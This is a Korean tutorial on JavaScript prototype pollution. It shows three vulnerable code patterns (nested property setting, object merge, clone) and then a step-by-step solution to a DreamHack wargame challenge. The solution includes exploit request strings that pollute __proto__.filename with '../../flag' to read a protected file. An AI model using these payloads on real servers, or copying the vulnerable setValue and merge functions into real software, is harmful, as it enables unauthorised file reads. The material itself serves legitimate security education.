Prototype-Pollution 공격 원리 및 실습

Prototype-Pollution 공격 원리 및 실습

in

Prototype-Pollution 공격이란 객체의 “__proto__” 값이 “Object.prototype” 과 같다는 점을 이용해서 다른 객체의 속성에 영향을 주는 공격 입니다.

이 글에서는 해당 공격 기법에 대해서 설명하며, DreamHack 문제풀이를 통해 해당 기법을 실습해봅니다.

Prototype-Pollution

기존에 obj2.polluted가 존재한다면 영향을 주지 않지만, 존재하지 않을 시 obj2 의 polluted 속성값은Object.porototype의 polluted 값을 상속받게 됩니다.

const obj1 = {};
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1

1. 발생 패턴

아래는 Object Prototype-Pollution 공격이 발생할 수 있는 세 가지 패턴 입니다.

1) 속성 설정

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

2) 객체 병합

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

3) 객체 복사

function clone(obj) {
  return merge({}, obj);
}

const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

2. 문제풀이를 통한 실습

Dreamhack 문제풀이를 통해 Prototype-Pollution 공격을 수행해 보겠습니다.
해당 문제의 링크는 아래와 같습니다.
https://dreamhack.io/wargame/challenges/643

1) 소스코드 분석

제공되는 app.js 코드를 분석합니다.

전역: global 로 file, read 객체를 생성합니다.

var file={};
var read={};

/ : read 객체의 filename 속성을 fake로 설정 후 파일을 생성하는 소스코드를 render합니다.

app.get('/',function(req,resp){ 
	read['filename']='fake';
	resp.render(__dirname+"/ejs/index.ejs");

})

/readfile : get 파라미터로 file 오브젝트의 속성을 지정하여 해당 속성값의 파일을 읽어들입니다. 파라미터를 지정하지 않거나 file 오브젝트에 해당 속성이 존재하지 않으면 read 오브젝트의 “filename” 속성의 값에 저장된 파일을 읽어들입니다. 이때 해당 속성의 값은 ‘/’ 를 호출할 때 “fake”로 초기화 된 상태입니다. 파라미터를 지정 했고 file 오브젝트에 해당 속성이 존재한다면 read 오브젝트의 filename 속성에 값을 넣는데, “../../” 와 같은 문자를 방지하기 위해 모든 ‘.’ 문자를 공백으로 치환하는 처리가 되어 있으므로 공격은 불가합니다.

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}
})

/test : get 파라미터로 특정 값을 보내 “file” 오브젝트의 속성을 지정하거나 “read” 오브젝트를 reset 합니다. 취약점이 존재하는 setValue 함수를 호출합니다.

app.get('/test',function(req,resp){
	let {func,filename,rename}=req.query;
	if(func==null){
		resp.send("this page hasn't been made yet");
	}else if(func=='rename'){
		setValue(file,filename,rename)
		resp.send('rename');
	}else if(func=='reset'){
		read={};
		resp.send("file reset");
	}
})

setValue() : /test에서 rename시 사용되는 함수로, 첫번째 인자로 file 오브젝트, 두번째 인자로 속성명, 세번째 인자로 값을 받아서 초기화 합니다. Prototype-Pollution 취약점이 존재하는 패턴 입니다.

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

2) Exploit

공격 루트는 /readfile 입니다. 상위 디렉터리에 존재하는 flag 파일을 읽어들여 flag값을 얻는 것이 최종 목표이기 때문입니다. 그러나 readfile 파라미터로 filename을 넘길 시, “../../../” 에 대한 필터링이 이루어 지기 때문에 filename을 넘기지 않고 read 오브젝트의 filename 속성을 변경해야 합니다.

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}
})

/test?func=reset :

/test 의 reset은 read 오브젝트의 속성을 초기화 합니다.
read 오브젝트의 “filename” 속성은 / 를 호출할 때 “fake” 로 설정 되어 값을 상속받지 않습니다. 그렇기 때문에 read 오브젝트의 “filename” 속성이 Object.Prototype 값을 상속받도록 초기화 해줍니다.

image initialize Object

/test?func=rename&filename= proto.filename&rename= ../../flag :

file 오브젝트의 속성명으로 __proto__ 의 filename 을 “../../flag” 로 설정해 줍니다.
해당 과정을 통해 read 오브젝트의 filename 값도 Object.prototype 값을 상속받아 “../../flag” 값을 갖게 됩니다.

image set filename

/readfile :

파일을 읽어들입니다. 파라미터를 지정하지 않을 경우 read 오브젝트의 filename 속성값에 해당되는 파일을 출력합니다. 이때 read 오브젝트는 Prototype-Pollution으로 오염된 상태로 “../../flag” 파일의 내용을 출력합니다.

image read file

보안 방법

key 값에 “proto” 값이 존재하는지 검증합니다.